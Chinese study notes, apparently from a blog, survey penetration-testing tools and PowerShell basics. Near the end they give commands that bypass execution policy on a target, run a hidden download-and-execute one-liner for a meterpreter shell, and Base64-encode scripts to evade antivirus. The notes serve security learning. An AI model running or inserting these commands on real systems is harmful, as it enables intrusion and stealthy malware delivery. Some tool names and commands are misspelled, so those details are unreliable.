主机平台及常用工具

虚拟机

  • VirtualBOX 和 VMware Workstation Player

网络适配器

  • 桥接模式
  • NAT模式
  • Host-only模式

Kali Linux 渗透测试平台常用工具

  • WCE(Windows凭据管理器):是安全人员广泛使用的一种安全工具,用于通过 Penetration Testing 评估Windows网络的安全性,支持Windows XP/Server 2003/Vista/7/Server 2008/8,常用于列出登录会话,以及添加、修改、列出和删除关联凭据(例如:LM Hash、NTLM Hash、明文密码和Kerberos票据)
  • minikatz:用于从内存中获取明文密码、现金票据和密钥等
  • Responder:用于嗅探网络内所有的 LLMNR 包和获取各主机的信息,提供多种渗透测试环境和场景,包括 HTTP/HTTPS、SMB、SQL server、FTP、IMAP、POP3
  • BeEF:是一款针对浏览器的渗透测试工具,可以通过 XSS 漏洞,利用 JavaScript 代码对目标主机的浏览器进行测试,也可以配合 Metasploit 进一步对目标主机进行测试
  • DSHashes:作用是从 NTDSXtract 中提取用户易于理解的散列值
  • PowerSploit:是一款基于 PowerShell 的后渗透(Post-Exploitation)测试框架,其包含很多 PowerShell 脚本,主要用于渗透测试中的信息搜集、权限提升、权限维持
  • Nishang:是一款针对 PowerShell 的渗透测试工具,集成了框架、脚本(包括下载和执行、键盘记录、DNS、延时命令等脚本)和各种 Payload
  • Empire:是一款内网渗透测试工具,有丰富的模块和接口,用户可以自行添加模块和功能
  • ps_encoder.py:是使用 Base64 编码封装的 Powershell 命令包,其目的是混淆和压缩代码
  • smbexec:是一个使用 Samba 工具的快速 PsExec 类工具
  • 后门制造工厂:用于对 PE、ELF、Mach-O 等二进制文件注入 Shellcode
  • Veil:用于生成绕过常见防病毒解决方案的 Metasploit 有效载荷
  • Metasploit:本质上是一个计算机安全项目(框架),目的是为用户提供有关已知安全漏洞的重要信息,帮助用户制定渗透测试及 IDS 测试计划、战略和开发方法
  • Cobalt Strike:是一款后渗透测试平台,适合团队间协同工作

Windows渗透测试平台常见工具

  • Nmap:网络发现和安全审计工具,用于发现主机、扫描端口、识别服务、识别操作系统等
  • Wireshark:一个免费开源的网络协议和数据包解析器
  • PuTTY:一个免费开源的 SSHTelnet 客户端,可用于远程访问
  • sqlmap:用于检测和执行应用程序中的 SQL 注入行为,也提供对数据库进行攻击测试的选项
  • Burp Suite:用于 web 应用程序进行安全测试的集成平台
  • Hydra:网络登录破解工具
  • Getif:一个基于 Windows 的免费图形界面工具,用于搜集 SNMP 设别的信息
  • Cain&Abel:Windows 中的一个密码恢复工具,可以通过嗅探网络,使用 Dictionary、BruteForce、Cryptanalysis,破解加密密码、记录 VoIP 会话、恢复无线网络密钥、显示密码框、发现缓存中的密码、分析路由信息,并能恢复各种密码
  • PowerSploit:是一款基于 PowerShell 的后渗透(Post-Exploitation)测试框架,其包含很多 PowerShell 脚本,主要用于渗透测试中的信息搜集、权限提升、权限维持
  • Nishang:是一款针对 PowerShell 的渗透测试工具,集成了框架、脚本(包括下载和执行、键盘记录、DNS、延时命令等脚本)和各种 Payload

Windows PowerShell 基础

  • Windows PowerShell 是一种命令行外壳程序和脚本环境
  • 可以输入 Get-Host 或者 $PSVersionTable.PSVERSION 命令查看 PowerShell 的版本
在这里插入图片描述

PowerShell 的基本概念

  • .ps1文件:一个 PowerShell 脚本就是一个简单的文本文件,其扩展名是 .ps1
  • 执行策略:为了防止使用者运行恶意脚本,PowerShell 提供了一个执行策略,在默认情况下这个策略被设置为“不能运行”
  • 如果 PowerShell 脚本无法运行,可以使用 Get-ExecutionPolicy 命令查询当前的执行策略
  • 可以使用 Set-ExecutionPolicy <policy name> 设置 PowerShell 的执行策略
Restricted:脚本不能运行(默认设置)
RemoteSigned:在本地创建的脚本可以允许,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
AllSigned:仅当脚本由受信任的发布者签名时才能运行
Unrestricted:允许所有脚本运行
  • 运行脚本:要想运行一个 PowerShell 脚本,必须输入完整的路径和文件名,(例外:脚本文件刚好在系统目录中,在命令提示符后直接输入脚本文件名即可运行脚本)
  • 管道:管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用 | 连接起来,例如 get-process p* | stop-process,让所有正在运行的且名字以字符"p"开头的程序停止运行

PowerShell 的常用命令

  • 基本知识:在 PowerShell 下,类似 cmd 命令的命令叫做 cmdlet 命令,二者命名规范一致,都采用了"动词-名词"的形式,动词部分一般为 Add、New、Get、Remove、Set 等,且 PowerShell 不区分大小写
        新建目录:New-Item whitecellclub-ItemType Directiry
        新建文件:New-Item light.txt-ItemType File
        删除目录:Remove-Item whitecellclub
        显示文本内容:Get-Content test.txt
        设置文本内容:Set-Content test.txt-Value "Hello-world!"
        追加内容:Add-Content light.txt-Value "I Love You!"
        清除内容:Clear-Content test.txt
  • 常用命令:在 Windows 终端提示符下输入 “powershell” 进入 PowerShell 命令行环境,输入 “help” 命令即可显示帮助菜单,要想运行 PowerShell 脚本程序,必须使用管理员权限将策略从 Restricted 改成 Unrestricted
(1)绕过本地权限并执行
将 PowerUp.ps1 上传至目标服务器:PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1 
将 PowerUp.ps1 上传至目标服务器,并在目标本地执行脚本文件:PowerShell.exe -exec bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}"
(2)从网站服务器中下载脚本,绕过本地权限并隐蔽执行
使用 PowerUp.ps1 脚本在目标机器上执行 meterpreteer Shell:PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
(3)使用 Base64 对 PowerShell 命令进行编码
使用 Base64 对 PowerShell 命令进行编码的目的是混淆和压缩代码,从而避免脚本因为一些特殊字符被杀软查杀,可以使用 Python 脚本对所有的 PowerShell 命令进行 Base64 编码
  • 运行 32 位 PowerShell 脚本:PowerShell.exe -NoP -NonI -W Hidden -Exec Bypass
  • 运行 64 位 PowerShell 脚本:%WinDir%\syswow64\windowspowershell\v1.0\powseshell.exe -NoP -NonI -W Hidden -Exec Bypass
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值